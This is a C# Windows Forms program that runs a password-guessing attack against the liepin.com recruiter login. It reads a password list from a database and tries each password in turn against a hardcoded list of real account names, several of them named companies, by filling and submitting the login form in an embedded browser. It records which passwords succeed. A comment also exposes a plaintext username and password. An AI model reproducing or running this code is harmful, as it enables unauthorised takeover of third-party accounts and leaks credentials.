﻿using Jessy.ds_LPTTableAdapters;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Jessy
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        T_BasePasswordTableAdapter bll = new T_BasePasswordTableAdapter();

        private void Form1_Load(object sender, EventArgs e)
        {
            //数据初始化
            #region Grid
            InitGrid();
            #endregion

            #region 密码
            list_Password = new List<string>();
            DataTable dt = bll.GetData().CopyToDataTable();
            for (int i = 0; i < dt.Rows.Count; i++)
            {
                list_Password.Add(dt.Rows[i]["Pwd"].ToString());
            }
            #endregion
        }

        private void btn_Go_Click(object sender, EventArgs e)
        {

            #region 设置Timer
            this.timer1.Enabled = false;
            this.timer1.Interval = 5 * 100;
            #endregion

            //用户名:sa1027 密 码:40050390 地 址:
            this.txt_Url.Text = "http://www.liepin.com/user/lpt/";
            gd_Account_Index = 0;
            list_Password_Index = 0;
            webBrowser1.Navigate(this.txt_Url.Text);
        }

        private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
        {
            if (webBrowser1.Document.Url == e.Url)
            {
                this.timer1.Enabled = false;
                string url = e.Url.ToString();
                this.txt_Url.Text = url;

                if (url == "http://www.liepin.com/user/lpt/")
                {
                    this.webBrowser1.Document.Cookie.Remove(0);
                    this.timer1.Enabled = true;
                }
                else if (url.Length > "http://lpt.liepin.com/?time=".Length && url.Substring(0, ("http://lpt.liepin.com/?time=").Length) == "http://lpt.liepin.com/?time=")
                {
                    if (list_Password_Index > 0)
                    {
                        gd_Account.Rows[gd_Account_Index].Cells["col_Password"].Value = list_Password[list_Password_Index - 1];
                        gd_Account.Rows[gd_Account_Index].Cells["col_Status"].Value = "登录成功";
                    }
                    gd_Account_Index++;
                    list_Password_Index = 0;

                    if (gd_Account_Index >= this.gd_Account.Rows.Count)
                    {
                        MessageBox.Show("测试结束");
                    }
                    else
                    {
                        //退出，重新登录
                        webBrowser1.Navigate("http://www.liepin.com/user/logout");
                    }
                }
                else if (url == "http://www.liepin.com/")
                {
                    webBrowser1.Navigate("http://www.liepin.com/user/lpt/");
                }
            }
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            #region 测试
            string user_login = gd_Account.Rows[1].Cells["col_Account"].Value.ToString();
            string user_pwd = list_Password[list_Password_Index];
            this.lbl_Msg.Text = string.Format("正在匹配密码：{0}【{1}】", user_login, user_pwd);
            #endregion

            Login();

            list_Password_Index++;

            if (list_Password_Index >= list_Password.Count)
            {
                //this.timer1.Enabled = false;
                //MessageBox.Show("无法匹配密码");
                gd_Account.Rows[gd_Account_Index].Cells["col_Status"].Value = "#无法匹配密码#";
                gd_Account_Index++;
                list_Password_Index = 0;

                if (gd_Account_Index >= this.gd_Account.Rows.Count)
                {
                    this.timer1.Enabled = false;
                    //MessageBox.Show("测试完成");
                }
            }
        }

        private void Login()
        {
            string user_login = gd_Account.Rows[gd_Account_Index].Cells["col_Account"].Value.ToString();
            //string user_pwd = gd_Account.Rows[1].Cells["col_Password"].Value.ToString();
            string user_pwd = list_Password[list_Password_Index];

            HtmlElementCollection inputs = this.webBrowser1.Document.GetElementsByTagName("input");

            foreach (HtmlElement item in inputs)
            {
                if (item.Name == "user_login")
                {
                    item.SetAttribute("value", user_login);
                }
                else if (item.Name == "user_pwd")
                {
                    item.SetAttribute("value", user_pwd);
                }
                else if (item.Name == "chk_remember_pwd")
                {
                    item.SetAttribute("checked", "");
                }
            }

            //h4
            HtmlElementCollection h4s = this.webBrowser1.Document.GetElementsByTagName("h4");
            foreach (HtmlElement item in h4s)
            {
                if (item.InnerText.Replace(" ", "").Replace("&nbsp;", "") == "登录")
                {
                    item.InvokeMember("click");
                }

            }

            HtmlElementCollection buttons = this.webBrowser1.Document.GetElementsByTagName("button");
            foreach (HtmlElement item in buttons)
            {
                if (item.InnerText == "登录猎聘通")
                {
                    item.InvokeMember("click");
                }
            }
        }

        #region 列表
        private void InitGrid()
        {
            List<AccountUnit> list_account = new List<AccountUnit>();
            list_account.Add(new AccountUnit { Account = "sa1027", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "广州卡萨米网络科技有限公司", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "LPT20140402165902", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "LPT20140320140346", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "河北恒奥房地产开发有限公司", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "LPT20140523191609", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "LPT20140305192649", Password = "", Status = "" });
            list_account.Add(new AccountUnit { Account = "弘基创业房地产", Password = "", Status = "" });
            this.gd_Account.DataSource = list_account;
        }

        int gd_Account_Index = 0;

        private class AccountUnit
        {
            public string Account { get; set; }
            public string Password { get; set; }
            public string Status { get; set; }
        }
        #endregion


        #region 密码
        private List<string> list_Password = new List<string>();
        private int list_Password_Index = 0;
        #endregion
    }
}
